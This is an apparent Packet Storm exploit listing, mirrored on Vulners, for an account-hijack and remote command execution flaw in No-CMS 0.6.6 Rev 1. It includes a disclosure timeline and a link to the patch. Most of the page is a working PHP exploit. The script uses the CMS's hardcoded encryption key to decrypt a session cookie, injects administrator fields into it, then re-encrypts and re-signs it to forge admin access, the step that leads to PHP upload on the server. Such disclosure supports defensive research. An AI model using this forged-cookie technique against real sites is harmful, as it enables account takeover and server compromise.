Lucene search
K

No-CMS 0.6.6 Rev 1 Account Hijack / Remote Command Execution

🗓️ 22 Apr 2014 00:00:00Reported by Mehmet InceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 51 Views

No-CMS 0.6.6 Rev 1 Account Hijack / Remote Command Execution - Static encryption_key of No-CMS lead to Session Array Injection allowing admin account hijack and upload of PHP files via theme/module upload. Vulnerability found on Apr 21, 2014 and patched on Apr 22, 2014 via commit 39d6ed327330e94b7a76a04042665dd13f2162bd. Full analysis at http://www.mehmetince.net/codeigniter-based-no-cms-admin-account-hijacking-rce-via-static-encryption-key

Code
`<?php  
/*  
*  
* Static encryption_key of No-CMS lead to Session Array Injection in order to  
* hijack administrator account then you will be able for upload php files to  
* server via theme/module upload.  
*  
* This exploit generates cookie for administrator access from non-privileges cookie.  
*   
* Full analysis can be found following link.  
* http://www.mehmetince.net/codeigniter-based-no-cms-admin-account-hijacking-rce-via-static-encryption-key/  
*  
* TIMELINE  
*  
* Apr 21, 2014 at 20:17 PM = Vulnerability found.  
* Apr 22, 2014 at 1:27 AM = First contact with no-cms developers.  
* Apr 22, 2014 at 1:31 AM = Response from no-cms developer.  
* Apr 22, 2014 at 2:29AM = Vulnerability confirmed by developers.  
* Apr 22, 2014 at 04:37 = Vulnerability has been patch via following commit.  
* https://github.com/goFrendiAsgard/No-CMS/commit/39d6ed327330e94b7a76a04042665dd13f2162bd  
*/  
define('KEY', 'namidanoregret');  
define('KEYWORD', 'session_id');  
  
function log_message($type = 'debug', $str){  
echo PHP_EOL."[".$type."] ".$str;  
}  
function show_error($str){  
echo PHP_EOL."[error] ".$str.PHP_EOL;  
exit(0);  
}  
function _print($str){  
log_message("info", $str.PHP_EOL);  
}  
class CI_Encrypt {  
public $encryption_key = '';  
protected $_hash_type = 'sha1';  
protected $_mcrypt_exists = FALSE;  
protected $_mcrypt_cipher;  
protected $_mcrypt_mode;  
public function __construct()  
{  
$this->_mcrypt_exists = function_exists('mcrypt_encrypt');  
log_message('debug', 'Encrypt Class Initialized');  
}  
public function get_key($key = '')  
{  
return md5($this->encryption_key);  
}  
public function set_key($key = '')  
{  
$this->encryption_key = $key;  
return $this;  
}  
public function encode_from_legacy($string, $legacy_mode = MCRYPT_MODE_ECB, $key = '')  
{  
if ($this->_mcrypt_exists === FALSE)  
{  
log_message('error', 'Encoding from legacy is available only when Mcrypt is in use.');  
return FALSE;  
}  
elseif (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))  
{  
return FALSE;  
}  
$current_mode = $this->_get_mode();  
$this->set_mode($legacy_mode);  
  
$key = $this->get_key($key);  
$dec = base64_decode($string);  
if (($dec = $this->mcrypt_decode($dec, $key)) === FALSE)  
{  
$this->set_mode($current_mode);  
return FALSE;  
}  
$dec = $this->_xor_decode($dec, $key);  
$this->set_mode($current_mode);  
return base64_encode($this->mcrypt_encode($dec, $key));  
}  
public function _xor_encode($string, $key = '')  
{  
if($key === '')  
$key = $this->get_key();  
$rand = '';  
do  
{  
$rand .= mt_rand();  
}  
while (strlen($rand) < 32);  
$rand = $this->hash($rand);  
$enc = '';  
for ($i = 0, $ls = strlen($string), $lr = strlen($rand); $i < $ls; $i++)  
{  
$enc .= $rand[($i % $lr)].($rand[($i % $lr)] ^ $string[$i]);  
}  
return $this->_xor_merge($enc, $key);  
}  
public function _xor_decode($string, $key = '')  
{  
if($key === '')  
$key = $this->get_key();  
$string = $this->_xor_merge($string, $key);  
  
$dec = '';  
for ($i = 0, $l = strlen($string); $i < $l; $i++)  
{  
$dec .= ($string[$i++] ^ $string[$i]);  
}  
return $dec;  
}  
protected function _xor_merge($string, $key)  
{  
$hash = $this->hash($key);  
$str = '';  
for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++)  
{  
$str .= $string[$i] ^ $hash[($i % $lh)];  
}  
return $str;  
}  
public function mcrypt_encode($data, $key = '')  
{  
if($key === '')  
$key = $this->get_key();  
$init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode());  
$init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND);  
return $this->_add_cipher_noise($init_vect.mcrypt_encrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), $key);  
}  
public function mcrypt_decode($data, $key = '')  
{  
if($key === '')  
$key = $this->get_key();  
$data = $this->_remove_cipher_noise($data, $key);  
$init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode());  
  
if ($init_size > strlen($data))  
{  
return FALSE;  
}  
  
$init_vect = substr($data, 0, $init_size);  
$data = substr($data, $init_size);  
return rtrim(mcrypt_decrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), "\0");  
}  
protected function _add_cipher_noise($data, $key)  
{  
$key = $this->hash($key);  
$str = '';  
for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)  
{  
if ($j >= $lk)  
{  
$j = 0;  
}  
$str .= chr((ord($data[$i]) + ord($key[$j])) % 256);  
}  
return $str;  
}  
protected function _remove_cipher_noise($data, $key)  
{  
$key = $this->hash($key);  
$str = '';  
for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)  
{  
if ($j >= $lk)  
{  
$j = 0;  
}  
$temp = ord($data[$i]) - ord($key[$j]);  
if ($temp < 0)  
{  
$temp += 256;  
}  
$str .= chr($temp);  
}  
return $str;  
}  
public function set_cipher($cipher)  
{  
$this->_mcrypt_cipher = $cipher;  
return $this;  
}  
public function set_mode($mode)  
{  
$this->_mcrypt_mode = $mode;  
return $this;  
}  
protected function _get_cipher()  
{  
if ($this->_mcrypt_cipher === NULL)  
{  
return $this->_mcrypt_cipher = MCRYPT_RIJNDAEL_256;  
}  
return $this->_mcrypt_cipher;  
}  
protected function _get_mode()  
{  
if ($this->_mcrypt_mode === NULL)  
{  
return $this->_mcrypt_mode = MCRYPT_MODE_CBC;  
}  
return $this->_mcrypt_mode;  
}  
public function set_hash($type = 'sha1')  
{  
$this->_hash_type = in_array($type, hash_algos()) ? $type : 'sha1';  
}  
public function hash($str)  
{  
return hash($this->_hash_type, $str);  
}  
  
}  
  
$encryption = new CI_Encrypt();  
$encryption->set_key(KEY);  
  
// WRITE YOUR OWN COOKIE HERE!  
$cookie = rawurldecode("DZyb3lI68zh+RBNg8C4M03TEJhMR4BBMzNWA1YUampWQ6UKaiUhG48rwkdfIs9DJYNQc8pZDniflInnUrQz1FbRxueQ3NLCahBBmrTuw8Ib7OL7ycm/IbuR81WEVrWpYOnQ4Z57/w21OCyVw42TjSkXkfWfN67veJr5630eTBA03vRbvLunZ9RLEuElqNrJu/H63yibCv8fyRWNnKs56i5OuU6Dso11O49k4fhxd008WTvsGliLxiErCkWwYfGfcjUA3V2Mh9mkrLk0YEKIbt3hbNXhAnGhIVIVJURhnmibqEFUacB1gP1GnbP2fQy3NpJt317n/3/sH+jH4lM+53IY1HOJh7n/J6RU9jqMr1hdeslDxFaV7SCuB4vPuO7SScec8063aae4808b195d818d86fda1d280ebb06bd");  
  
$len = strlen($cookie) - 40;  
  
if ($len < 0)  
{  
show_error('The session cookie was not signed.');  
}  
// Check cookie authentication  
$hmac = substr($cookie, $len);  
$session = substr($cookie, 0, $len);  
  
if ($hmac !== hash_hmac('sha1', $session, KEY))  
{  
show_error('The session cookie data did not match what was expected.');  
}  
  
// Detect target encryption method and Decrypt session  
$_mcrypt = $encryption->mcrypt_decode(base64_decode($session));  
$_xor = $encryption->_xor_decode(base64_decode($session));  
$method = '';  
$plain = '';  
  
if (strpos($_mcrypt, KEYWORD) !== false) {  
_print("Encryption method is mcrypt!");  
$method = 'm';  
$plain = $_mcrypt;  
} else if (strpos($_xor, KEYWORD) !== false) {  
_print("Encryption method is xor!");  
$method = 'x';  
$plain = $_xor;  
} else {  
show_error("something went wrong.");  
}  
  
// Unserialize session string in order to create session array.  
$session = unserialize($plain);  
_print("Current Session Array :");  
print_r($session).PHP_EOL;  
  
// Add extra fields into it  
$session['cms_user_name'] = 'admin';  
$session['cms_user_id'] = 1;  
  
// Print out payload string.  
_print("Payload appended Session Array :");  
print_r($session).PHP_EOL;  
  
// Serialize it  
$session = serialize($session);  
  
  
// Encrypt it with same key.  
if ($method === 'm')  
$payload = base64_encode($encryption->mcrypt_encode($session));  
if ($method === 'x')  
$payload = base64_encode($encryption->_xor_encode($session));  
  
// Calculation of hmac to add it end of the encrypted session string.  
$payload .= hash_hmac('sha1', $payload, KEY);  
  
_print("New Cookie");  
_print($payload);  
_print("Use Tamper Data and change cookie then push F5!");  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation